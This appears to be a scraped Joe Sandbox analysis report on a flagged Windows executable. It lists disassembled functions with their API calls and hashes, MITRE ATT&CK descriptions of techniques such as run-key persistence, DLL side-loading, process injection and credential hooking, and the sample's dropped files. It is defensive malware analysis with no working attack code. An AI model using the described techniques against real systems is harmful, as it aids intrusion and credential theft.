Instruction Fuzzy Hash: 91111F71A00219AF8F10EFA5D9819EF7FB8EF99354B00447BE905E2201E77899518BA9

Function 0040D820 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 0040D884

Part of subcall function 0040AAF0: GetSysColor.USER32(0000000F), ref: 0040AAFD

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

FillRect.USER32(?,?,00000000), ref: 0040D8B6

Strings

\[J, xrefs: 0040D8C4

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: H_prologRect$BeginBrushClipColorCreateEmptyFillPaintSolid
String ID: \[J
API String ID: 534515830-1436623575
Opcode ID: 18660add52ba8dd29cbe25b6b046d606bfb9e86dc7bb03c096fda550589e353f
Instruction ID: 2830b138b6885481d655bf5c09ec2cf966e2f629a6a09b25793c7871fad7ae11
Opcode Fuzzy Hash: 18660add52ba8dd29cbe25b6b046d606bfb9e86dc7bb03c096fda550589e353f
Instruction Fuzzy Hash: 892183725047409FD714EF68C841B5BBBE8BF89704F14892EF4A683291DB3CE508CB56

Function 0042E8A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,4004667F,?), ref: 0042E8D2
recvfrom.WS2_32(00000000,00000000,?,00000000,00000000,00000000), ref: 0042E920

Strings

lJ, xrefs: 0042E958

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ioctlsocketrecvfrom
String ID: lJ
API String ID: 217199969-3144685753
Opcode ID: 61a5613977322e55f9bb7e33a034c07a01af8273d104b4d68ee0e628c54d7c00
Instruction ID: 0878af272e0ba9f4ecad3ec7461faf00b4ed39d541d4b0f7df58fd0625dc6e11
Opcode Fuzzy Hash: 61a5613977322e55f9bb7e33a034c07a01af8273d104b4d68ee0e628c54d7c00
Instruction Fuzzy Hash: 5E215EB4208601ABD314DF25C845B6BB7E4AF94724F548B2EF09A932D1DB78DC41CB5A

Function 0048D44C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?,?,0048D38E,?,?), ref: 0048D46B

Strings

:, xrefs: 0048D463
\, xrefs: 0048D467

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: DriveType
String ID: :$\
API String ID: 338552980-1166558509
Opcode ID: db6f03be6f1660c3b8a2de9f0ab525862142f087d47d538a8de7871670933724
Instruction ID: bd663e7a802ad9c3762ab7280dfe18f209860d368d2df180a4453f2489a0ef4b
Opcode Fuzzy Hash: db6f03be6f1660c3b8a2de9f0ab525862142f087d47d538a8de7871670933724
Instruction Fuzzy Hash: DCE0D87120828C6DEF01DE649444B9E3F888B11B84F08C456F84CCD281D674E641C355

Function 00423CC0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00423D51
wsprintfA.USER32 ref: 00423D6B
wsprintfA.USER32 ref: 00423D86

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 9063ccd7880efbaf630c8eaf9991ba43d542de168ef89f7d3dceaed0364f8fa8
Instruction ID: 7cfc847d726aef5913156fb2e322c230cce4936f5e0663bddb33f905a348d5a7
Opcode Fuzzy Hash: 9063ccd7880efbaf630c8eaf9991ba43d542de168ef89f7d3dceaed0364f8fa8
Instruction Fuzzy Hash: EC31FCF15043045BC304EF64E845AAF77E8EFC4755F500A2DF94693281EB78DA08C6AA

Function 0049B75B Relevance: 5.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0049B7B8
LeaveCriticalSection.KERNEL32(?,?), ref: 0049B7C8
LocalFree.KERNEL32(?), ref: 0049B7D1
TlsSetValue.KERNEL32(?,00000000), ref: 0049B7E7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 811651d5486e6d0b5266ea78df0573cfeb1fcc486391d735181a5f8eceaf1d3d
Instruction ID: ba13b211bd67a15c2e1215111094987e35ed228e5125ae817bda4439f80ce1ca
Opcode Fuzzy Hash: 811651d5486e6d0b5266ea78df0573cfeb1fcc486391d735181a5f8eceaf1d3d
Instruction Fuzzy Hash: 5F216D35200210EFDB258F85E984B6A7BA4EF85711F1085BAE9429B2A1C7B5E840CB94

Function 00489C6A Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00489A32,00000000,00000000,00000000,00482133,00000000,00000000,?,00000000,00000000,00000000), ref: 00489C92
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00489A32,00000000,00000000,00000000,00482133,00000000,00000000,?,00000000,00000000,00000000), ref: 00489CC6
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00489CE0
HeapFree.KERNEL32(00000000,?), ref: 00489CF7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 0aa9fe6769804fe16cea0cc9a14de0a290a15f540a0bab59f2b2113630b1fa09
Instruction ID: 3ee48886ce763d5d5b80296929f1dcc3904411b9d55a8e451143b5aee3e7ee21
Opcode Fuzzy Hash: 0aa9fe6769804fe16cea0cc9a14de0a290a15f540a0bab59f2b2113630b1fa09
Instruction Fuzzy Hash: 7211C179240A02AFC721DF1AEC85D6E7BF1FBA53107144A1AF152C61B0C371984ADF19

Function 0049C53C Relevance: 5.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004FD0E8,?,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0), ref: 0049C577
InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0), ref: 0049C589
LeaveCriticalSection.KERNEL32(004FD0E8,?,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0), ref: 0049C592
EnterCriticalSection.KERNEL32(00000000,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0,00496AC5), ref: 0049C5A4

Part of subcall function 0049C4A9: GetVersion.KERNEL32(?,0049C54C,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049C4BC

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID:
API String ID: 1193629340-0
Opcode ID: fcba04d04950cf4ae3728d6dd7848cbbb51bc6215663687f697641351bc3815e
Instruction ID: fbcb44bc9bf4958bdb63daf27c919a30a0c9848ccef4c35250d9b362e4971e8b
Opcode Fuzzy Hash: fcba04d04950cf4ae3728d6dd7848cbbb51bc6215663687f697641351bc3815e
Instruction Fuzzy Hash: 85F0A43540122AEFCB10AF95FCC4966B7AEFB5432AF410037E20592025D734F465DAAD

Function 0048835B Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488368
InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488370
InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488378
InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488380

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: b06a76641a5cc4a85fd6cff38c2a0d675b387cecc30614e7b8b5631a229a7a9c
Instruction ID: 2abf5f6c8d12029d00b4746378fb9915d29279766405a97b35f2d26dcacaeddd
Opcode Fuzzy Hash: b06a76641a5cc4a85fd6cff38c2a0d675b387cecc30614e7b8b5631a229a7a9c
Instruction Fuzzy Hash: 8DC002B29130349ACA912B55FD46C663F26EB853A03010073E10C5143086311C20DFD8

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U4fdd#U62a4#U795e1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\???[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\???[1].txt

C:\Users\user\Desktop\ 16.exe

C:\Users\user\Desktop\update.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

